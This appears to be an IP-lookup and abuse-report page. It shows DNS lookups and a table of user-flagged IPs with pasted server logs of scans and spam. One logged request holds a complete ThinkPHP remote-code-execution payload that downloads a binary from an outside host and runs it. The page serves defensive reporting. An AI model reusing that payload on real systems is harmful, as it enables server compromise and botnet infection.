城市(city): unknown
省份(region): unknown
国家(country): China
运营商(isp): China Unicom
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 123.7.250.33
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 38367
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;123.7.250.33. IN A
;; AUTHORITY SECTION:
. 579 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020042001 1800 900 604800 86400
;; Query time: 184 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Apr 21 05:46:53 CST 2020
;; MSG SIZE rcvd: 11633.250.7.123.in-addr.arpa domain name pointer hn.kd.ny.adsl.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
33.250.7.123.in-addr.arpa name = hn.kd.ny.adsl.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 35.200.107.73 | attack | 35.200.107.73 - - [16/Apr/2019:21:17:31 +0800] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 35.200.107.73 - - [16/Apr/2019:21:17:31 +0800] "GET //wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 35.200.107.73 - - [16/Apr/2019:21:17:31 +0800] "GET //wp/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-04-16 21:34:35 |
| 142.93.214.167 | attack | 142.93.214.167 - - [16/Apr/2019:06:00:02 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://104.248.57.105/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20x86 HTTP/1.1" 301 194 "-" "python-requests/2.12.4" 142.93.214.167 - - [16/Apr/2019:06:00:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://104.248.57.105/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20x86 HTTP/1.1" 404 209 "-" "python-requests/2.12.4" 142.93.214.167 - - [16/Apr/2019:06:00:06 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://104.248.57.105/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20x86 HTTP/1.1" 301 194 "-" "python-requests/2.12.4" 142.93.214.167 - - [16/Apr/2019:06:00:08 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://104.248.57.105/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20x86 HTTP/1.1" 404 209 "-" "python-requests/2.12.4" |
2019-04-16 06:28:55 |
| 159.89.153.54 | attack | abuseip |
2019-04-19 17:03:14 |
| 120.92.90.154 | botsattack | 120.92.90.154 - - [17/Apr/2019:00:04:34 +0000] "POST /public/index.php HTTP/1.1" 404 15604 "-" "python-requests/2.21.0" 120.92.90.154 - - [17/Apr/2019:00:04:35 +0000] "GET /public/gqxuracc.php HTTP/1.1" 404 15604 "-" "python-requests/2.21.0" 120.92.90.154 - - [17/Apr/2019:00:04:35 +0000] "POST /public/index.php HTTP/1.1" 404 15604 "-" "python-requests/2.21.0" 120.92.90.154 - - [17/Apr/2019:00:04:35 +0000] "GET /public/gqxuracc.php HTTP/1.1" 404 15604 "-" "python-requests/2.21.0" |
2019-04-17 08:12:27 |
| 14.17.21.58 | attack | 101.226.114.193 - - [17/Apr/2019:08:21:53 +0800] "GET /mx.php HTTP/1.1" 404 463 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 58.251.121.185 - - [17/Apr/2019:08:21:53 +0800] "GET /wcp.php HTTP/1.1" 404 464 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.21.58 - - [17/Apr/2019:08:21:53 +0800] "GET /1.php HTTP/1.1" 404 462 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.21.58 - - [17/Apr/2019:08:21:53 +0800] "GET /muhstik2.php HTTP/1.1" 404 469 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.65 - - [17/Apr/2019:08:21:53 +0800] "GET /lucky.php HTTP/1.1" 404 466 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 14.17.3.65 - - [17/Apr/2019:08:21:53 +0800] "GET /sheep.php HTTP/1.1" 404 466 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-17 08:22:36 |
| 110.249.212.46 | attack | 110.249.212.46 - - [15/Apr/2019:10:15:42 +0800] "GET http://110.249.212.46/testget?q=23333&port=80 HTTP/1.1" 400 182 "-" "-" |
2019-04-15 10:17:39 |
| 123.206.22.203 | attack | 123.206.22.203 - - [19/Apr/2019:14:27:22 +0800] "POST /Moxin.PHP HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:27:26 +0800] "POST /CCCC.PHP HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" 123.206.22.203 - - [19/Apr/2019:14:27:26 +0800] "POST /mobai.PHP HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0" |
2019-04-19 14:28:25 |
| 61.110.125.144 | attack | wordpress攻击 本身不是wordpress程序还搞了个wp-login 61.110.125.144 - - [18/Apr/2019:10:10:52 +0800] "GET /check-ip/5.9.61.232 HTTP/1.1" 200 8330 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 61.110.125.144 - - [18/Apr/2019:10:10:52 +0800] "GET /wp-login.php?action=register HTTP/1.1" 404 209 "https://ipinfo.asytech.cn/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" 61.110.125.144 - - [18/Apr/2019:10:10:53 +0800] "GET /wp-login.php?action=register HTTP/1.1" 404 209 "https://ipinfo.asytech.cn/wp-login.php?action=register" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" |
2019-04-18 10:11:48 |
| 213.97.80.165 | bots | 213.97.80.165 - - [21/Apr/2019:08:08:52 +0800] "GET //CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 213.97.80.165 - - [21/Apr/2019:08:08:54 +0800] "GET //CHANGELOG.txt HTTP/1.1" 308 257 "-" "libwww-perl/6.04" 213.97.80.165 - - [21/Apr/2019:08:09:00 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 301 194 "-" "libwww-perl/6.04" 213.97.80.165 - - [21/Apr/2019:08:09:01 +0800] "GET /check-ip//CHANGELOG.txt HTTP/1.1" 404 232 "-" "libwww-perl/6.04" |
2019-04-21 08:10:22 |
| 106.2.125.215 | botsproxy | 106.2.125.215 - - [23/Apr/2019:11:06:07 +0800] "\\x04\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 106.2.125.215 - - [23/Apr/2019:11:06:07 +0800] "\\x05\\x03\\x00\\x01\\x02" 400 182 "-" "-" 106.2.125.215 - - [23/Apr/2019:11:06:07 +0800] "GET http://baidu.com/ HTTP/1.1" 301 194 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" |
2019-04-23 11:08:28 |
| 58.251.121.185 | attack | 58.251.121.185 - - [15/Apr/2019:14:51:57 +0800] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang%3Den HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 58.251.121.185 - - [15/Apr/2019:14:51:57 +0800] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang%3Den HTTP/1.1" 404 209 "http://118.25.52.138/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang%3Den" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-15 14:52:24 |
| 82.221.105.7 | bots | 82.221.105.7 - - [19/Apr/2019:14:31:43 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 82.221.105.7 - - [19/Apr/2019:14:31:44 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "-" 82.221.105.7 - - [19/Apr/2019:14:31:45 +0800] "GET /sitemap.xml HTTP/1.1" 301 194 "-" "-" 82.221.105.7 - - [19/Apr/2019:14:31:46 +0800] "GET /.well-known/security.txt HTTP/1.1" 301 194 "-" "-" 82.221.105.7 - - [19/Apr/2019:14:31:48 +0800] "GET /favicon.ico HTTP/1.1" 301 194 "-" "python-requests/2.10.0" |
2019-04-19 14:32:28 |
| 85.68.112.186 | botsattack | 85.68.112.186 - - [19/Apr/2019:04:39:13 +0800] "GET /xmlrpc.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" 85.68.112.186 - - [19/Apr/2019:04:39:14 +0800] "GET /xmlrpc.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" |
2019-04-19 04:40:01 |
| 81.92.203.247 | spam | 81.92.203.247 - - [21/Apr/2019:05:49:50 +0800] "GET /index.php/2018/12/14/bert-transformer/ HTTP/1.0" 200 44744 "https://www.eznewstoday.com/index.php/2018/12/14/bert-transformer/" "Mozil la/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" 81.92.203.247 - - [21/Apr/2019:05:49:51 +0800] "POST /wp-comments-post.php HTTP/1.0" 302 4143 "https://www.eznewstoday.com/index.php/2018/12/14/bert-transformer/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" 81.92.203.247 - - [21/Apr/2019:05:49:51 +0800] "GET /index.php/2018/12/14/bert-transformer/ HTTP/1.0" 200 44744 "https://www.eznewstoday.com/index.php/2018/12/14/bert-transformer/#comment -14272" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" |
2019-04-21 06:58:05 |
| 5.188.44.47 | spam | 5.188.44.47 - - [19/Apr/2019:13:11:26 +0800] "GET /index.php/2018/08/29/jack_ma_2018_08_29_en/ HTTP/1.1" 200 13881 "https://eznewstoday.com/index.php/2018/08/29/jack_ma_2018_08_29_en/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.88 Safari/537.36" 5.188.44.47 - - [19/Apr/2019:13:11:27 +0800] "GET /index.php/2018/08/29/jack_ma_2018_08_29_en/ HTTP/1.1" 200 13881 "https://eznewstoday.com/index.php/2018/08/29/jack_ma_2018_08_29_en/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" 5.188.44.47 - - [19/Apr/2019:13:11:28 +0800] "GET /index.php/2018/08/29/jack_ma_2018_08_29_en/ HTTP/1.1" 200 13881 "https://eznewstoday.com/index.php/2018/08/29/jack_ma_2018_08_29_en/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" |
2019-04-19 14:01:19 |